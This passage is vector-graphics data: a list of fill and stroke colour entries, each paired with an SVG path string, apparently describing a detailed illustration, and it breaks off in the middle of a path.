- {"fill": "#000000",
- "path":"M94.401 0.6C94.401 0.6 65.4 12.8 55.4 12.4C55.4 12.4 39 7.8 30.6 22.4C30.6 22.4 22.2 31.6 19 33.2C19 33.2 18.6 34.8 25 30.8L35.4 36C35.4 36 50.2 45.6 59.8 29.6C59.8 29.6 63.8 18.4 63.8 16.4C63.8 14.4 85 8.8 86.601 8.4C88.201 8 94.801 3.8 94.401 0.6z"}
- ,
- {"fill": "#99cc32",
- "path":"M47 36.514C40.128 36.514 31.755 32.649 31.755 26.4C31.755 20.152 40.128 13.887 47 13.887C53.874 13.887 59.446 18.952 59.446 25.2C59.446 31.449 53.874 36.514 47 36.514z"}
- ,
- {"fill": "#659900",
- "path":"M43.377 19.83C38.531 20.552 33.442 22.055 33.514 21.839C35.054 17.22 41.415 13.887 47 13.887C51.296 13.887 55.084 15.865 57.32 18.875C57.32 18.875 52.004 18.545 43.377 19.83z"}
- ,
- {"fill": "#ffffff",
- "path":"M55.4 19.6C55.4 19.6 51 16.4 51 18.6C51 18.6 54.6 23 55.4 19.6z"}
- ,
- {"fill": "#000000",
- "path":"M45.4 27.726C42.901 27.726 40.875 25.7 40.875 23.2C40.875 20.701 42.901 18.675 45.4 18.675C47.9 18.675 49.926 20.701 49.926 23.2C49.926 25.7 47.9 27.726 45.4 27.726z"}
- ,
- {"fill": "#cc7226",
- "path":"M-58.6 14.4C-58.6 14.4 -61.8 -6.8 -59.4 -11.2C-59.4 -11.2 -48.6 -21.2 -49 -24.8C-49 -24.8 -49.4 -42.8 -50.6 -43.6C-51.8 -44.4 -59.4 -50.4 -65.4 -44C-65.4 -44 -75.8 -26 -75 -19.6L-75 -17.6C-75 -17.6 -82.6 -18 -84.2 -16C-84.2 -16 -85.4 -10.8 -86.6 -10.4C-86.6 -10.4 -89.4 -8 -87.4 -5.2C-87.4 -5.2 -89.4 -2.8 -89 1.2L-81.4 5.2C-81.4 5.2 -79.4 19.6 -68.6 24.8C-63.764 27.129 -60.6 20.4 -58.6 14.4z"}
- ,
- {"fill": "#ffffff",
- "path":"M-59.6 12.56C-59.6 12.56 -62.48 -6.52 -60.32 -10.48C-60.32 -10.48 -50.6 -19.48 -50.96 -22.72C-50.96 -22.72 -51.32 -38.92 -52.4 -39.64C-53.48 -40.36 -60.32 -45.76 -65.72 -40C-65.72 -40 -75.08 -23.8 -74.36 -18.04L-74.36 -16.24C-74.36 -16.24 -81.2 -16.6 -82.64 -14.8C-82.64 -14.8 -83.72 -10.12 -84.8 -9.76C-84.8 -9.76 -87.32 -7.6 -85.52 -5.08C-85.52 -5.08 -87.32 -2.92 -86.96 0.68L-80.12 4.28C-80.12 4.28 -78.32 17.24 -68.6 21.92C-64.248 24.015 -61.4 17.96 -59.6 12.56z"}
- ,
- {"fill": "#eb955c",
- "path":"M-51.05 -42.61C-52.14 -43.47 -59.63 -49.24 -65.48 -43C-65.48 -43 -75.62 -25.45 -74.84 -19.21L-74.84 -17.26C-74.84 -17.26 -82.25 -17.65 -83.81 -15.7C-83.81 -15.7 -84.98 -10.63 -86.15 -10.24C-86.15 -10.24 -88.88 -7.9 -86.93 -5.17C-86.93 -5.17 -88.88 -2.83 -88.49 1.07L-81.08 4.97C-81.08 4.97 -79.13 19.01 -68.6 24.08C-63.886 26.35 -60.8 19.79 -58.85 13.94C-58.85 13.94 -61.97 -6.73 -59.63 -11.02C-59.63 -11.02 -49.1 -20.77 -49.49 -24.28C-49.49 -24.28 -49.88 -41.83 -51.05 -42.61z"}
- ,
- {"fill": "#f2b892",
- "path":"M-51.5 -41.62C-52.48 -42.54 -59.86 -48.08 -65.56 -42C-65.56 -42 -75.44 -24.9 -74.68 -18.82L-74.68 -16.92C-74.68 -16.92 -81.9 -17.3 -83.42 -15.4C-83.42 -15.4 -84.56 -10.46 -85.7 -10.08C-85.7 -10.08 -88.36 -7.8 -86.46 -5.14C-86.46 -5.14 -88.36 -2.86 -87.98 0.94L-80.76 4.74C-80.76 4.74 -78.86 18.42 -68.6 23.36C-64.006 25.572 -61 19.18 -59.1 13.48C-59.1 13.48 -62.14 -6.66 -59.86 -10.84C-59.86 -10.84 -49.6 -20.34 -49.98 -23.76C-49.98 -23.76 -50.36 -40.86 -51.5 -41.62z"}
- ,
- {"fill": "#f8dcc8",
- "path":"M-51.95 -40.63C-52.82 -41.61 -60.09 -46.92 -65.64 -41C-65.64 -41 -75.26 -24.35 -74.52 -18.43L-74.52 -16.58C-74.52 -16.58 -81.55 -16.95 -83.03 -15.1C-83.03 -15.1 -84.14 -10.29 -85.25 -9.92C-85.25 -9.92 -87.84 -7.7 -85.99 -5.11C-85.99 -5.11 -87.84 -2.89 -87.47 0.81L-80.44 4.51C-80.44 4.51 -78.59 17.83 -68.6 22.64C-64.127 24.794 -61.2 18.57 -59.35 13.02C-59.35 13.02 -62.31 -6.59 -60.09 -10.66C-60.09 -10.66 -50.1 -19.91 -50.47 -23.24C-50.47 -23.24 -50.84 -39.89 -51.95 -40.63z"}
- ,
- {"fill": "#ffffff",
- "path":"M-59.6 12.46C-59.6 12.46 -62.48 -6.52 -60.32 -10.48C-60.32 -10.48 -50.6 -19.48 -50.96 -22.72C-50.96 -22.72 -51.32 -38.92 -52.4 -39.64C-53.16 -40.68 -60.32 -45.76 -65.72 -40C-65.72 -40 -75.08 -23.8 -74.36 -18.04L-74.36 -16.24C-74.36 -16.24 -81.2 -16.6 -82.64 -14.8C-82.64 -14.8 -83.72 -10.12 -84.8 -9.76C-84.8 -9.76 -87.32 -7.6 -85.52 -5.08C-85.52 -5.08 -87.32 -2.92 -86.96 0.68L-80.12 4.28C-80.12 4.28 -78.32 17.24 -68.6 21.92C-64.248 24.015 -61.4 17.86 -59.6 12.46z"}
- ,
- {"fill": "#cccccc",
- "path":"M-62.7 6.2C-62.7 6.2 -84.3 -4 -85.2 -4.8C-85.2 -4.8 -76.1 3.4 -75.3 3.4C-74.5 3.4 -62.7 6.2 -62.7 6.2z"}
- ,
- {"fill": "#000000",
- "path":"M-79.8 0C-79.8 0 -61.4 3.6 -61.4 8C-61.4 10.912 -61.643 24.331 -67 22.8C-75.4 20.4 -71.8 6 -79.8 0z"}
- ,
- {"fill": "#99cc32",
- "path":"M-71.4 3.8C-71.4 3.8 -62.422 5.274 -61.4 8C-60.8 9.6 -60.137 17.908 -65.6 19C-70.152 19.911 -72.382 9.69 -71.4 3.8z"}
- ,
- {"fill": "#000000",
- "path":"M14.595 46.349C14.098 44.607 15.409 44.738 17.2 44.2C19.2 43.6 31.4 39.8 32.2 37.2C33 34.6 46.2 39 46.2 39C48 39.8 52.4 42.4 52.4 42.4C57.2 43.6 63.8 44 63.8 44C66.2 45 69.6 47.8 69.6 47.8C84.2 58 96.601 50.8 96.601 50.8C116.601 44.2 110.601 27 110.601 27C107.601 18 110.801 14.6 110.801 14.6C111.001 10.8 118.201 17.2 118.201 17.2C120.801 21.4 121.601 26.4 121.601 26.4C129.601 37.6 126.201 19.8 126.201 19.8C126.401 18.8 123.601 15.2 123.601 14C123.601 12.8 121.801 9.4 121.801 9.4C118.801 6 121.201 -1 121.201 -1C123.001 -14.8 120.801 -13 120.801 -13C119.601 -14.8 110.401 -4.8 110.401 -4.8C108.201 -1.4 102.201 0.2 102.201 0.2C99.401 2 96.001 0.6 96.001 0.6C93.401 0.2 87.801 7.2 87.801 7.2C90.601 7 93.001 11.4 95.401 11.6C97.801 11.8 99.601 9.2 101.201 8.6C102.801 8 105.601 13.8 105.601 13.8C106.001 16.4 100.401 21.2 100.401 21.2C100.001 25.8 98.401 24.2 98.401 24.2C95.401 23.6 94.201 27.4 93.201 32C92.201 36.6 88.001 37 88.001 37C86.401 44.4 85.2 41.4 85.2 41.4C85 35.8 79 41.6 79 41.6C77.8 43.6 73.2 41.4 73.2 41.4C66.4 39.4 68.8 37.4 68.8 37.4C70.6 35.2 81.8 37.4 81.8 37.4C84 35.8 76 31.8 76 31.8C75.4 30 76.4 25.6 76.4 25.6C77.6 22.4 84.4 16.8 84.4 16.8C93.801 15.6 91.001 14 91.001 14C84.801 8.8 79 16.4 79 16.4C76.8 22.6 59.4 37.6 59.4 37.6C54.6 41 57.2 34.2 53.2 37.6C49.2 41 28.6 32 28.6 32C17.038 30.807 14.306 46.549 10.777 43.429C10.777 43.429 16.195 51.949 14.595 46.349z"}
- ,
- {"fill": "#000000",
- "path":"M209.401 -120C209.401 -120 183.801 -112 181.001 -93.2C181.001 -93.2 178.601 -70.4 199.001 -52.8C199.001 -52.8 199.401 -46.4 201.401 -43.2C201.401 -43.2 199.801 -38.4 218.601 -46L245.801 -54.4C245.801 -54.4 252.201 -56.8 257.401 -65.6C262.601 -74.4 277.801 -93.2 274.201 -118.4C274.201 -118.4 275.401 -129.6 269.401 -130C269.401 -130 261.001 -131.6 253.801 -124C253.801 -124 247.001 -120.8 244.601 -121.2L209.401 -120z"}
- ,
- {"fill": "#000000",
- "path":"M264.022 -120.99C264.022 -120.99 266.122 -129.92 261.282 -125.08C261.282 -125.08 254.242 -119.36 246.761 -119.36C246.761 -119.36 232.241 -117.16 227.841 -103.96C227.841 -103.96 223.881 -77.12 231.801 -71.4C231.801 -71.4 236.641 -63.92 243.681 -70.52C250.722 -77.12 266.222 -107.35 264.022 -120.99z"}
- ,
- {"fill": "#323232",
- "path":"M263.648 -120.632C263.648 -120.632 265.738 -129.376 260.986 -124.624C260.986 -124.624 254.074 -119.008 246.729 -119.008C246.729 -119.008 232.473 -116.848 228.153 -103.888C228.153 -103.888 224.265 -77.536 232.041 -71.92C232.041 -71.92 236.793 -64.576 243.705 -71.056C250.618 -77.536 265.808 -107.24 263.648 -120.632z"}
- ,
- {"fill": "#666666",
- "path":"M263.274 -120.274C263.274 -120.274 265.354 -128.832 260.69 -124.168C260.69 -124.168 253.906 -118.656 246.697 -118.656C246.697 -118.656 232.705 -116.536 228.465 -103.816C228.465 -103.816 224.649 -77.952 232.281 -72.44C232.281 -72.44 236.945 -65.232 243.729 -71.592C250.514 -77.952 265.394 -107.13 263.274 -120.274z"}
- ,
- {"fill": "#999999",
- "path":"M262.9 -119.916C262.9 -119.916 264.97 -128.288 260.394 -123.712C260.394 -123.712 253.738 -118.304 246.665 -118.304C246.665 -118.304 232.937 -116.224 228.777 -103.744C228.777 -103.744 225.033 -78.368 232.521 -72.96C232.521 -72.96 237.097 -65.888 243.753 -72.128C250.41 -78.368 264.98 -107.02 262.9 -119.916z"}
- ,
- {"fill": "#cccccc",
- "path":"M262.526 -119.558C262.526 -119.558 264.586 -127.744 260.098 -123.256C260.098 -123.256 253.569 -117.952 246.633 -117.952C246.633 -117.952 233.169 -115.912 229.089 -103.672C229.089 -103.672 225.417 -78.784 232.761 -73.48C232.761 -73.48 237.249 -66.544 243.777 -72.664C250.305 -78.784 264.566 -106.91 262.526 -119.558z"}
- ,
- {"fill": "#ffffff",
- "path":"M262.151 -119.2C262.151 -119.2 264.201 -127.2 259.801 -122.8C259.801 -122.8 253.401 -117.6 246.601 -117.6C246.601 -117.6 233.401 -115.6 229.401 -103.6C229.401 -103.6 225.801 -79.2 233.001 -74C233.001 -74 237.401 -67.2 243.801 -73.2C250.201 -79.2 264.151 -106.8 262.151 -119.2z"}
- ,
- {"fill": "#992600",
- "path":"M50.6 84C50.6 84 30.2 64.8 22.2 64C22.2 64 -12.2 60 -27 78C-27 78 -9.4 57.6 18.2 63.2C18.2 63.2 -3.4 58.8 -15.8 62C-15.8 62 -32.6 62 -42.2 76L-45 80.8C-45 80.8 -41 66 -22.6 60C-22.6 60 0.2 55.2 11 60C11 60 -10.6 53.2 -20.6 55.2C-20.6 55.2 -51 52.8 -63.8 79.2C-63.8 79.2 -59.8 64.8 -45 57.6C-45 57.6 -31.4 48.8 -11 51.6C-11 51.6 3.4 54.8 8.6 57.2C13.8 59.6 12.6 56.8 4.2 52C4.2 52 -1.4 42 -15.4 42.4C-15.4 42.4 -58.2 46 -68.6 58C-68.6 58 -55 46.8 -44.6 44C-44.6 44 -22.2 36 -13.8 36.8C-13.8 36.8 11 37.8 18.6 33.8C18.6 33.8 7.4 38.8 10.6 42C13.8 45.2 20.6 52.8 20.6 54C20.6 55.2 44.8 77.3 48.4 81.7L50.6 84z"}
- ,
- {"fill": "#cccccc",
- "path":"M189 278C189 278 173.5 241.5 161 232C161 232 187 248 190.5 266C190.5 266 190.5 276 189 278z"}
- ,
- {"fill": "#cccccc",
- "path":"M236 285.5C236 285.5 209.5 230.5 191 206.5C191 206.5 234.5 244 239.5 270.5L240 276L237 273.5C237 273.5 236.5 282.5 236 285.5z"}
- ,
- {"fill": "#cccccc",
- "path":"M292.5 237C292.5 237 230 177.5 228.5 175C228.5 175 289 241 292 248.5C292 248.5 290 239.5 292.5 237z"}
- ,
- {"fill": "#cccccc",
- "path":"M104 280.5C104 280.5 123.5 228.5 142.5 251C142.5 251 157.5 261 157 264C157 264 153 257.5 135 258C135 258 116 255 104 280.5z"}
- ,
- {"fill": "#cccccc",
- "path":"M294.5 153C294.5 153 249.5 124.5 242 123C230.193 120.639 291.5 152 296.5 162.5C296.5 162.5 298.5 160 294.5 153z"}
- ,
- {"fill": "#000000",
- "path":"M143.801 259.601C143.801 259.601 164.201 257.601 171.001 250.801L175.401 254.401L193.001 216.001L196.601 221.201C196.601 221.201 211.001 206.401 210.201 198.401C209.401 190.401 223.001 204.401 223.001 204.401C223.001 204.401 222.201 192.801 229.401 199.601C229.401 199.601 227.001 184.001 235.401 192.001C235.401 192.001 224.864 161.844 247.401 187.601C253.001 194.001 248.601 187.201 248.601 187.201C248.601 187.201 222.601 139.201 244.201 153.601C244.201 153.601 246.201 130.801 245.001 126.401C243.801 122.001 241.801 99.6 237.001 94.4C232.201 89.2 237.401 87.6 243.001 92.8C243.001 92.8 231.801 68.8 245.001 80.8C245.001 80.8 241.401 65.6 237.001 62.8C237.001 62.8 231.401 45.6 246.601 56.4C246.601 56.4 242.201 44 239.001 40.8C239.001 40.8 227.401 13.2 234.601 18L239.001 21.6C239.001 21.6 232.201 7.6 238.601 12C245.001 16.4 245.001 16 245.001 16C245.001 16 223.801 -17.2 244.201 0.4C244.201 0.4 236.042 -13.518 232.601 -20.4C232.601 -20.4 213.801 -40.8 228.201 -34.4L233.001 -32.8C233.001 -32.8 224.201 -42.8 216.201 -44.4C208.201 -46 218.601 -52.4 225.001 -50.4C231.401 -48.4 247.001 -40.8 247.001 -40.8C247.001 -40.8 259.801 -22 263.801 -21.6C263.801 -21.6 243.801 -29.2 249.801 -21.2C249.801 -21.2 264.201 -7.2 257.001 -7.6C257.001 -7.6 251.001 -0.4 255.801 8.4C255.801 8.4 237.342 -9.991 252.201 15.6L259.001 32C259.001 32 234.601 7.2 245.801 29.2C245.801 29.2 263.001 52.8 265.001 53.2C267.001 53.6 271.401 62.4 271.401 62.4L267.001 60.4L272.201 69.2C272.201 69.2 261.001 57.2 267.001 70.4L272.601 84.8C272.601 84.8 252.201 62.8 265.801 92.4C265.801 92.4 249.401 87.2 258.201 104.4C258.201 104.4 256.601 120.401 257.001 125.601C257.401 130.801 258.601 159.201 254.201 167.201C249.801 175.201 260.201 194.401 262.201 198.401C264.201 202.401 267.801 213.201 259.001 204.001C250.201 194.801 254.601 200.401 256.601 209.201C258.601 218.001 264.601 233.601 263.801 239.201C263.801 239.201 262.601 240.401 259.401 236.801C259.401 236.801 244.601 214.001 246.201 228.401C246.201 228.401 245.001 236.401 241.801 245.201C241.801 245.201 238.601 256.001 238.601 247.201C238.601 247.201 235.401 230.401 232.601 238.001C229.801 245.601 226.201 251.601 223.401 254.001C220.601 256.401 215.401 233.601 214.201 244.001C214.201 244.001 202.201 231.601 197.401 248.001L185.801 264.401C185.801 264.401 185.401 252.001 184.201 258.001C184.201 258.001 154.201 264.001 143.801 259.601z"}
- ,
- {"fill": "#000000",
- "path":"M109.401 -97.2C109.401 -97.2 97.801 -105.2 93.801 -104.8C89.801 -104.4 121.401 -113.6 162.601 -86C162.601 -86 167.401 -83.2 171.001 -83.6C171.001 -83.6 174.201 -81.2 171.401 -77.6C171.401 -77.6 162.601 -68 173.801 -56.8C173.801 -56.8 192.201 -50 186.601 -58.8C186.601 -58.8 197.401 -54.8 199.801 -50.8C202.201 -46.8 201.001 -50.8 201.001 -50.8C201.001 -50.8 194.601 -58 188.601 -63.2C188.601 -63.2 183.401 -65.2 180.601 -73.6C177.801 -82 175.401 -92 179.801 -95.2C179.801 -95.2 175.801 -90.8 176.601 -94.8C177.401 -98.8 181.001 -102.4 182.601 -102.8C184.201 -103.2 200.601 -119 207.401 -119.4C207.401 -119.4 198.201 -118 195.201 -119C192.201 -120 165.601 -131.4 159.601 -132.6C159.601 -132.6 142.801 -139.2 154.801 -137.2C154.801 -137.2 190.601 -133.4 208.801 -120.2C208.801 -120.2 201.601 -128.6 183.201 -135.6C183.201 -135.6 161.001 -148.2 125.801 -143.2C125.801 -143.2 108.001 -140 100.201 -138.2C100.201 -138.2 97.601 -138.8 97.001 -139.2C96.401 -139.6 84.6 -148.6 57 -141.6C57 -141.6 40 -137 31.4 -132.2C31.4 -132.2 16.2 -131 12.6 -127.8C12.6 -127.8 -6 -113.2 -8 -112.4C-10 -111.6 -21.4 -104 -22.2 -103.6C-22.2 -103.6 2.4 -110.2 4.8 -112.6C7.2 -115 24.6 -117.6 27 -116.2C29.4 -114.8 37.8 -115.4 28.2 -114.8C28.2 -114.8 103.801 -100 104.601 -98C105.401 -96 109.401 -97.2 109.401 -97.2z"}
- ,
- {"fill": "#cc7226",
- "path":"M180.801 -106.4C180.801 -106.4 170.601 -113.8 168.601 -113.8C166.601 -113.8 154.201 -124 150.001 -123.6C145.801 -123.2 133.601 -133.2 106.201 -125C106.201 -125 105.601 -127 109.201 -127.8C109.201 -127.8 115.601 -130 116.001 -130.6C116.001 -130.6 136.201 -134.8 143.401 -131.2C143.401 -131.2 152.601 -128.6 158.801 -122.4C158.801 -122.4 170.001 -119.2 173.201 -120.2C173.201 -120.2 182.001 -118 182.401 -116.2C182.401 -116.2 188.201 -113.2 186.401 -110.6C186.401 -110.6 186.801 -109 180.801 -106.4z"}
- ,
- {"fill": "#cc7226",
- "path":"M168.33 -108.509C169.137 -107.877 170.156 -107.779 170.761 -106.97C170.995 -106.656 170.706 -106.33 170.391 -106.233C169.348 -105.916 168.292 -106.486 167.15 -105.898C166.748 -105.691 166.106 -105.873 165.553 -106.022C163.921 -106.463 162.092 -106.488 160.401 -105.8C158.416 -106.929 156.056 -106.345 153.975 -107.346C153.917 -107.373 153.695 -107.027 153.621 -107.054C150.575 -108.199 146.832 -107.916 144.401 -110.2C141.973 -110.612 139.616 -111.074 137.188 -111.754C135.37 -112.263 133.961 -113.252 132.341 -114.084C130.964 -114.792 129.507 -115.314 127.973 -115.686C126.11 -116.138 124.279 -116.026 122.386 -116.546C122.293 -116.571 122.101 -116.227 122.019 -116.254C121.695 -116.362 121.405 -116.945 121.234 -116.892C119.553 -116.37 118.065 -117.342 116.401 -117C115.223 -118.224 113.495 -117.979 111.949 -118.421C108.985 -119.269 105.831 -117.999 102.801 -119C106.914 -120.842 111.601 -119.61 115.663 -121.679C117.991 -122.865 120.653 -121.763 123.223 -122.523C123.71 -122.667 124.401 -122.869 124.801 -122.2C124.935 -122.335 125.117 -122.574 125.175 -122.546C127.625 -121.389 129.94 -120.115 132.422 -119.049C132.763 -118.903 133.295 -119.135 133.547 -118.933C135.067 -117.717 137.01 -117.82 138.401 -116.6C140.099 -117.102 141.892 -116.722 143.621 -117.346C143.698 -117.373 143.932 -117.032 143.965 -117.054C145.095 -117.802 146.25 -117.531 147.142 -117.227C147.48 -117.112 148.143 -116.865 148.448 -116.791C149.574 -116.515 150.43 -116.035 151.609 -115.852C151.723 -115.834 151.908 -116.174 151.98 -116.146C153.103 -115.708 154.145 -115.764 154.801 -114.6C154.936 -114.735 155.101 -114.973 155.183 -114.946C156.21 -114.608 156.859 -113.853 157.96 -113.612C158.445 -113.506 159.057 -112.88 159.633 -112.704C162.025 -111.973 163.868 -110.444 166.062 -109.549C166.821 -109.239 167.697 -109.005 168.33 -108.509z"}
- ,
- {"fill": "#cc7226",
- "path":"M91.696 -122.739C89.178 -124.464 86.81 -125.57 84.368 -127.356C84.187 -127.489 83.827 -127.319 83.625 -127.441C82.618 -128.05 81.73 -128.631 80.748 -129.327C80.209 -129.709 79.388 -129.698 78.88 -129.956C76.336 -131.248 73.707 -131.806 71.2 -133C71.882 -133.638 73.004 -133.394 73.6 -134.2C73.795 -133.92 74.033 -133.636 74.386 -133.827C76.064 -134.731 77.914 -134.884 79.59 -134.794C81.294 -134.702 83.014 -134.397 84.789 -134.125C85.096 -134.078 85.295 -133.555 85.618 -133.458C87.846 -132.795 90.235 -133.32 92.354 -132.482C93.945 -131.853 95.515 -131.03 96.754 -129.755C97.006 -129.495 96.681 -129.194 96.401 -129C96.789 -129.109 97.062 -128.903 97.173 -128.59C97.257 -128.351 97.257 -128.049 97.173 -127.81C97.061 -127.498 96.782 -127.397 96.408 -127.346C95.001 -127.156 96.773 -128.536 96.073 -128.088C94.8 -127.274 95.546 -125.868 94.801 -124.6C94.521 -124.794 94.291 -125.012 94.401 -125.4C94.635 -124.878 94.033 -124.588 93.865 -124.272C93.48 -123.547 92.581 -122.132 91.696 -122.739z"}
- ,
- {"fill": "#cc7226",
- "path":"M59.198 -115.391C56.044 -116.185 52.994 -116.07 49.978 -117.346C49.911 -117.374 49.688 -117.027 49.624 -117.054C48.258 -117.648 47.34 -118.614 46.264 -119.66C45.351 -120.548 43.693 -120.161 42.419 -120.648C42.095 -120.772 41.892 -121.284 41.591 -121.323C40.372 -121.48 39.445 -122.429 38.4 -123C40.736 -123.795 43.147 -123.764 45.609 -124.148C45.722 -124.166 45.867 -123.845 46 -123.845C46.136 -123.845 46.266 -124.066 46.4 -124.2C46.595 -123.92 46.897 -123.594 47.154 -123.848C47.702 -124.388 48.258 -124.198 48.798 -124.158C48.942 -124.148 49.067 -123.845 49.2 -123.845C49.336 -123.845 49.467 -124.156 49.6 -124.156C49.736 -124.155 49.867 -123.845 50 -123.845C50.136 -123.845 50.266 -124.066 50.4 -124.2C51.092 -123.418 51.977 -123.972 52.799 -123.793C53.837 -123.566 54.104 -122.418 55.178 -122.12C59.893 -120.816 64.03 -118.671 68.393 -116.584C68.7 -116.437 68.91 -116.189 68.8 -115.8C69.067 -115.8 69.38 -115.888 69.57 -115.756C70.628 -115.024 71.669 -114.476 72.366 -113.378C72.582 -113.039 72.253 -112.632 72.02 -112.684C67.591 -113.679 63.585 -114.287 59.198 -115.391z"}
- ,
- {"fill": "#cc7226",
- "path":"M45.338 -71.179C43.746 -72.398 43.162 -74.429 42.034 -76.221C41.82 -76.561 42.094 -76.875 42.411 -76.964C42.971 -77.123 43.514 -76.645 43.923 -76.443C45.668 -75.581 47.203 -74.339 49.2 -74.2C51.19 -71.966 55.45 -71.581 55.457 -68.2C55.458 -67.341 54.03 -68.259 53.6 -67.4C51.149 -68.403 48.76 -68.3 46.38 -69.767C45.763 -70.148 46.093 -70.601 45.338 -71.179z"}
- ,
- {"fill": "#cc7226",
- "path":"M17.8 -123.756C17.935 -123.755 24.966 -123.522 24.949 -123.408C24.904 -123.099 17.174 -122.05 16.81 -122.22C16.646 -122.296 9.134 -119.866 9 -120C9.268 -120.135 17.534 -123.756 17.8 -123.756z"}
- ,
- {"fill": "#000000",
- "path":"M33.2 -114C33.2 -114 18.4 -112.2 14 -111C9.6 -109.8 -9 -102.2 -12 -100.2C-12 -100.2 -25.4 -94.8 -42.4 -74.8C-42.4 -74.8 -34.8 -78.2 -32.6 -81C-32.6 -81 -19 -93.6 -19.2 -91C-19.2 -91 -7 -99.6 -7.6 -97.4C-7.6 -97.4 16.8 -108.6 14.8 -105.4C14.8 -105.4 36.4 -110 35.4 -108C35.4 -108 54.2 -103.6 51.4 -103.4C51.4 -103.4 45.6 -102.2 52 -98.6C52 -98.6 48.6 -94.2 43.2 -98.2C37.8 -102.2 40.8 -100 35.8 -99C35.8 -99 33.2 -98.2 28.6 -102.2C28.6 -102.2 23 -106.8 14.2 -103.2C14.2 -103.2 -16.4 -90.6 -18.4 -90C-18.4 -90 -22 -87.2 -24.4 -83.6C-24.4 -83.6 -30.2 -79.2 -33.2 -77.8C-33.2 -77.8 -46 -66.2 -47.2 -64.8C-47.2 -64.8 -50.6 -59.6 -51.4 -59.2C-51.4 -59.2 -45 -63 -43 -65C-43 -65 -29 -75 -23.6 -75.8C-23.6 -75.8 -19.2 -78.8 -18.4 -80.2C-18.4 -80.2 -4 -89.4 0.2 -89.4C0.2 -89.4 9.4 -84.2 11.8 -91.2C11.8 -91.2 17.6 -93 23.2 -91.8C23.2 -91.8 26.4 -94.4 25.6 -96.6C25.6 -96.6 27.2 -98.4 28.2 -94.6C28.2 -94.6 31.6 -91 36.4 -93C36.4 -93 40.4 -93.2 38.4 -90.8C38.4 -90.8 34 -87 22.2 -86.8C22.2 -86.8 9.8 -86.2 -6.6 -78.6C-6.6 -78.6 -36.4 -68.2 -45.6 -57.8C-45.6 -57.8 -52 -49 -57.4 -47.8C-57.4 -47.8 -63.2 -47 -69.2 -39.6C-69.2 -39.6 -59.4 -45.4 -50.4 -45.4C-50.4 -45.4 -46.4 -47.8 -50.2 -44.2C-50.2 -44.2 -53.8 -36.6 -52.2 -31.2C-52.2 -31.2 -52.8 -26 -53.6 -24.4C-53.6 -24.4 -61.4 -11.6 -61.4 -9.2C-61.4 -6.8 -60.2 3 -59.8 3.6C-59.4 4.2 -60.8 2 -57 4.4C-53.2 6.8 -50.4 8.4 -49.6 11.2C-48.8 14 -51.6 5.8 -51.8 4C-52 2.2 -56.2 -5 -55.4 -7.4C-55.4 -7.4 -54.4 -6.4 -53.6 -5C-53.6 -5 -54.2 -5.6 -53.6 -9.2C-53.6 -9.2 -52.8 -14.4 -51.4 -17.6C-50 -20.8 -48 -24.6 -47.6 -25.4C-47.2 -26.2 -47.2 -32 -45.8 -29.4L-42.4 -26.8C-42.4 -26.8 -45.2 -29.4 -43 -31.6C-43 -31.6 -44 -37.2 -42.2 -39.8C-42.2 -39.8 -35.2 -48.2 -33.6 -49.2C-32 -50.2 -33.4 -49.8 -33.4 -49.8C-33.4 -49.8 -27.4 -54 -33.2 -52.4C-33.2 -52.4 -37.2 -50.8 -40.2 -50.8C-40.2 -50.8 -47.8 -48.8 -43.8 -53C-39.8 -57.2 -29.8 -62.6 -26 -62.4L-25.2 -60.8L-14 -63.2L-15.2 -62.4C-15.2 -62.4 -15.4 -62.6 -11.2 -63C-7 -63.4 -1.2 -62 0.2 -63.8C1.6 -65.6 5 -66.6 4.6 -65.2C4.2 -63.8 4 -61.8 4 -61.8C4 -61.8 9 -67.6 8.4 -65.4C7.8 -63.2 -0.4 -58 -1.8 -51.8L8.6 -60L12.2 -63C12.2 -63 15.8 -60.8 16 -62.4C16.2 -64 20.8 -69.8 22 -69.6C23.2 -69.4 25.2 -72.2 25 -69.6C24.8 -67 32.4 -61.6 32.4 -61.6C32.4 -61.6 35.6 -63.4 37 -62C38.4 -60.6 42.6 -81.8 42.6 -81.8L67.6 -92.4L111.201 -95.8L94.201 -102.6L33.2 -114z"}
- ,
- {"stroke":"#4c0000", "width":2,
- "path":"M51.4 85C51.4 85 36.4 68.2 28 65.6C28 65.6 14.6 58.8 -10 66.6"}
- ,
- {"stroke":"#4c0000", "width":2,
- "path":"M24.8 64.2C24.8 64.2 -0.4 56.2 -15.8 60.4C-15.8 60.4 -34.2 62.4 -42.6 76.2"}
- ,
- {"stroke":"#4c0000", "width":2,
- "path":"M21.2 63C21.2 63 4.2 55.8 -10.6 53.6C-10.6 53.6 -27.2 51 -43.8 58.2C-43.8 58.2 -56 64.2 -61.4 74.4"}
- ,
- {"stroke":"#4c0000", "width":2,
- "path":"M22.2 63.4C22.2 63.4 6.8 52.4 5.8 51C5.8 51 -1.2 40 -14.2 39.6C-14.2 39.6 -35.6 40.4 -52.8 48.4"}
- ,
- {"fill": "#000000",
- "path":"M20.895 54.407C22.437 55.87 49.4 84.8 49.4 84.8C84.6 121.401 56.6 87.2 56.6 87.2C49 82.4 39.8 63.6 39.8 63.6C38.6 60.8 53.8 70.8 53.8 70.8C57.8 71.6 71.4 90.8 71.4 90.8C64.6 88.4 69.4 95.6 69.4 95.6C72.2 97.6 92.601 113.201 92.601 113.201C96.201 117.201 100.201 118.801 100.201 118.801C114.201 113.601 107.801 126.801 107.801 126.801C110.201 133.601 115.801 122.001 115.801 122.001C127.001 105.2 110.601 107.601 110.601 107.601C80.6 110.401 73.8 94.4 73.8 94.4C71.4 92 80.2 94.4 80.2 94.4C88.601 96.4 73 82 73 82C75.4 82 84.6 88.8 84.6 88.8C95.001 98 97.001 96 97.001 96C115.001 87.2 125.401 94.8 125.401 94.8C127.401 96.4 121.801 103.2 123.401 108.401C125.001 113.601 129.801 126.001 129.801 126.001C127.401 127.601 127.801 138.401 127.801 138.401C144.601 161.601 135.001 159.601 135.001 159.601C119.401 159.201 134.201 166.801 134.201 166.801C137.401 168.801 146.201 176.001 146.201 176.001C143.401 174.801 141.801 180.001 141.801 180.001C146.601 184.001 143.801 188.801 143.801 188.801C137.801 190.001 136.601 194.001 136.601 194.001C143.401 202.001 133.401 202.401 133.401 202.401C137.001 206.801 132.201 218.801 132.201 218.801C127.401 218.801 121.001 224.401 121.001 224.401C123.401 229.201 113.001 234.801 113.001 234.801C104.601 236.401 107.401 243.201 107.401 243.201C99.401 249.201 97.001 265.201 97.001 265.201C96.201 275.601 93.801 278.801 99.001 276.801C104.201 274.801 103.401 262.401 103.401 262.401C98.601 246.801 141.401 230.801 141.401 230.801C145.401 229.201 146.201 224.001 146.201 224.001C148.201 224.401 157.001 232.001 157.001 